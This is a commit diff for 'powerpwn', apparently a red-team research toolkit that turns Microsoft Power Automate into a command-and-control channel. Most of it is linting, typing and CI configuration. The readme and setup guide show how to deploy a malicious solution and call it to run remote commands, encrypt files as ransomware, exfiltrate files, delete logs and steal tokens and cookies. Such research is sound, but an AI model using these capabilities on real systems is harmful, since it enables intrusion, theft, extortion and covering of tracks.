Improve naming, development environment and intro tests

.bandit

@@ -0,0 +1,5 @@
+[bandit]
+ignore = E203, E266, E501, W503
+max-line-length = 150
+max-complexity = 18
+select = B,C,E,F,W,T4

.coveragerc

@@ -0,0 +1,6 @@
+[run]
+source = src/powerpwn/
+omit =
+    tests/*
+    docs/*
+    src/malicious_msft/*

.flake8

@@ -0,0 +1,5 @@
+[flake8]
+ignore = E203, E266, E501, W503
+max-line-length = 150
+max-complexity = 18
+select = B,C,E,F,W,T4

.gitattributes

@@ -0,0 +1,12 @@
+# Set the default behavior, in case people don't have core.autocrlf set.
+* text=auto
+
+# Use text conventions for commonly used text extensions.
+*.csv text
+*.ini text
+*.json text
+*.yml text
+*.txt text
+*.xml text
+*.py text
+*.sh text

.github/workflows/pr_validation.yml

@@ -0,0 +1,128 @@
+name: PR validation
+
+on: [pull_request]
+
+jobs:
+
+  do-unit-tests:
+    name: Do unit tests
+    runs-on: ${{ matrix.os }}
+    strategy:
+      matrix:
+        os: [ubuntu-latest]
+        python-version: [3.9]
+    steps:
+    - name: Checkout main repo
+      uses: actions/checkout@v2
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v2
+      with:
+        python-version: ${{ matrix.python-version }}
+    - name: Install dependencies
+      run: |
+        python -m pip install --upgrade pip
+        find . -name '*requirements.txt' | while read file; do pip install -r "$file"; done
+    - name: Test and check coverage pytest
+      run: |
+        export PYTHONPATH=$PYTHONPATH:./src:
+        pytest tests/ -n auto --cov --cov-fail-under=90 --ignore=./tests
+
+  do-flake8:
+    name: Do flake8
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        python-version: [3.9]
+    steps:
+    - uses: actions/checkout@v2
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v2
+      with:
+        python-version: ${{ matrix.python-version }}
+    - name: Install dependencies
+      run: |
+        python -m pip install --upgrade pip
+        find . -name '*requirements.txt' | while read file; do pip install -r "$file"; done
+    - name: Lint with flake8
+      run: |
+        flake8 src  --count --show-source --statistics
+
+  do-mypy:
+    name: Do Mypy
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        python-version: [3.9]
+    steps:
+    - uses: actions/checkout@v2
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v2
+      with:
+        python-version: ${{ matrix.python-version }}
+    - name: Install dependencies
+      run: |
+        python -m pip install --upgrade pip
+        find . -name '*requirements.txt' | while read file; do pip install -r "$file"; done
+    - name: Lint with mypy
+      run: |
+        mypy .
+
+  do-isort:
+    name: Do isort
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        python-version: [3.9]
+    steps:
+    - uses: actions/checkout@v2
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v2
+      with:
+        python-version: ${{ matrix.python-version }}
+    - name: Install dependencies
+      run: |
+        python -m pip install --upgrade pip
+        find . -name '*requirements.txt' | while read file; do pip install -r "$file"; done
+    - name: Run isort
+      run: |
+        isort --check --diff .
+
+  do-black:
+    name: Do black
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        python-version: [3.9]
+    steps:
+    - uses: actions/checkout@v2
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v2
+      with:
+        python-version: ${{ matrix.python-version }}
+    - name: Install dependencies
+      run: |
+        python -m pip install --upgrade pip
+        find . -name '*requirements.txt' | while read file; do pip install -r "$file"; done
+    - name: Run black
+      run: |
+        black --check --diff -C -l 150 .
+
+  do-security-check:
+    name: Do security check
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        python-version: [3.9]
+    steps:
+      - uses: actions/checkout@v2
+      - name: Set up Python ${{ matrix.python-version }}
+        uses: actions/setup-python@v2
+        with:
+          python-version: ${{ matrix.python-version }}
+      - name: Install dependencies
+        run: |
+          python -m pip install --upgrade pip
+          find . -name '*requirements.txt' | while read file; do pip install -r "$file"; done
+      - name: Run bandit
+        run: |
+          bandit -r .

.isort.cfg

@@ -0,0 +1,6 @@
+[settings]
+line_length=150
+multi_line_output=3
+include_trailing_comma=True
+force_grid_wrap=0
+use_parentheses=True

docs/cloud_setup.md

@@ -4,11 +4,11 @@
 
 1. Set up your free Microsoft tenant by following [Microsoft guidelines](https://docs.microsoft.com/en-us/azure/active-directory/verifiable-credentials/how-to-create-a-free-developer-account)
 
-   ![Pwntoso tenant](../assets/pwntoso.png)
+   ![Pwntoso tenant](assets/pwntoso.png)
 
 2. Create a malicious user account and assign it a _Power platform administrator_ role. The admin role isn't necessary, it's just convenient.
 
-   ![Power platform administrator role](../assets/power_platform_admin.png)
+   ![Power platform administrator role](assets/power_platform_admin.png)
 
 3. On a private browser tab
 
@@ -28,26 +28,26 @@
 
    2. Click Go to _Monitor_ and then _Machines_ and verify that the test victim machine is there
 
-   ![Victim machines](../assets/victim_machines.png)
+   ![Victim machines](assets/victim_machines.png)
 
 ### Upload pwntoso to your Power Automate cloud environment
 
 1. Log into https://flow.microsoft.com with the malicious user.
 
 2. Go to _Solutions_ and click _Import solution_
 
-   ![Import pwntoso solution](../assets/import_solution.png)
+   ![Import pwntoso solution](assets/import_solution.png)
 
-3. Zip the content of [pwntoso_1_0_0_1](../solution/pwntoso_1_0_0_1) and select it when asked to provide a solution file. Follow the guided process to completion.
+3. Zip the content of [pwntoso_1_0_0_1](../src/malicious_msft/solution/pwntoso_1_0_0_1) and select it when asked to provide a solution file. Follow the guided process to completion.
 
    1. When asked to provide a connection, following the guided process to create a new machine connection. Use the test victim machine credentials. 
 
 4. Go to _My flows_ and search for _Endpoint_
 
-   ![Endpoint flow](../assets/endpoint_flow.png)
+   ![Endpoint flow](assets/endpoint_flow.png)
 
    Click on _Edit_ and then on _When a HTTP request is received_ and copy the URL under _HTTP POST URL_
 
-   ![HTTP Post URL](../assets/post_url.png)
+   ![HTTP Post URL](assets/post_url.png)
 
 5. Note the _HTTP Post URL_ for use with the Python module.

readme.md

@@ -13,51 +13,52 @@ Disclaimer: these materials are presented from an attacker’s perspective with
 ## Usage
 
 ```python
-from powerpwn.cli import PowerPwn
+from powerpwn.c2 import PowerPwnC2
+
 POST_URL = ""
-pp=PowerPwn(post_url=POST_URL)
+pp = PowerPwnC2(post_url=POST_URL)
 
 ### code execution
 
 # python2
-pp.exec_py2("print('hello world')").CodeExec
+pp.exec_py2("print('hello world')").cmd_code_execution
 # CodeExecOutputs(ScriptOutput='\ufeffhello world\r\n', ScriptError='')
 
 # python2 bad syntax
-pp.exec_py2("bad syntax").CodeExec
+pp.exec_py2("bad syntax").cmd_code_execution
 # CodeExecOutputs(ScriptOutput='', ScriptError='  File "", line 1\r\n    bad syntax\r\n        ^\r\nSyntaxError: unexpected token \'syntax\'')
 
 # powershell
-pp.exec_ps("Write-Host \"hello word\"").CodeExec
+pp.exec_ps("Write-Host \"hello word\"").cmd_code_execution
 
 # commandline
-pp.exec_cmd("echo \"hello word\"").CodeExec
+pp.exec_cmd("echo \"hello word\"").cmd_code_execution
 # CodeExecOutputs(ScriptOutput='Microsoft Windows [Version 10.0.22000.795]\r\n(c) Microsoft Corporation. All rights reserved.\r\n\r\nC:\\Program Files (x86)\\Power Automate Desktop>echo "hello word"\r\n"hello word"\r\n\r\n', ScriptError='')
 
 ### ransomware
 
-pp.ransomware(crawl_depth=2, dirs_to_init_crawl=["C:\\Users\\alexg\\Documents\\mystuff", "D:\\shh"], encryption_key="8d1d4245").Ransomware
+pp.ransomware(crawl_depth=2, dirs_to_init_crawl=["C:\\Users\\alexg\\Documents\\mystuff", "D:\\shh"], encryption_key="8d1d4245").cmd_ransomware
 # Ransomware=RansomwareOutputs(FilesFound=9, FilesAccessed=9, FilesProcessed=9, Errors='')
 
 ### exfiltration
 
-pp.exfil(target="C:\\Users\\alexg\\Downloads\\takeit.txt").Exfil
+pp.exfil(target="C:\\Users\\alexg\\Downloads\\takeit.txt").cmd_exfiltration
 # ExfiltrationOutputs(Success=True, FileContents='asd')
-pp.exfil(target="C:\\Users\\alexg\\Downloads\\dontexist.txt").Exfil
+pp.exfil(target="C:\\Users\\alexg\\Downloads\\dontexist.txt").cmd_exfiltration
 # ExfiltrationOutputs(Success=False, FileContents='')
 
 ### cleanup
 
-pp.cleanup().Cleanup
+pp.cleanup().cmd_cleanup
 # CleanupOutputs(FilesFound=179, LogFilesDeleted=178)
 
 ### steal_power_automate_token
 
-pp.steal_power_automate_token().StealPowerAutomateToken
+pp.steal_power_automate_token().cmd_steal_power_automate_token
 # StealPowerAutomateTokenOutputs(Token='ey...')
 
 ### steal_cookie
-pp.steal_cookie("https://www.google.com").StealCookie
+pp.steal_cookie("https://www.google.com").cmd_steal_cookie
 # StealCookieOutputs(Cookie='1P_JAR=2022-07-16-13; OGPC=19027681-1:')
 ```
 

setup.cfg

@@ -0,0 +1,28 @@
+[mypy]
+plugins = pydantic.mypy
+
+follow_imports = normal
+ignore_errors = false
+implicit_reexport = false
+warn_redundant_casts = True
+warn_unused_ignores = True
+disallow_any_generics = True
+disallow_untyped_defs = True
+check_untyped_defs = True
+allow_redefinition = false
+local_partial_types = True
+strict_optional = true
+strict_equality = true
+warn_unused_configs = true
+warn_unreachable = true
+warn_no_return = true
+
+# This is becoming the default since Python's PEPs for type hints specify implicit optionals should no longer be supported
+no_implicit_optional = true
+
+# Mypy plugins
+[pydantic-mypy]
+init_forbid_extra = True
+init_typed = True
+warn_required_dynamic_aliases = True
+warn_untyped_fields = True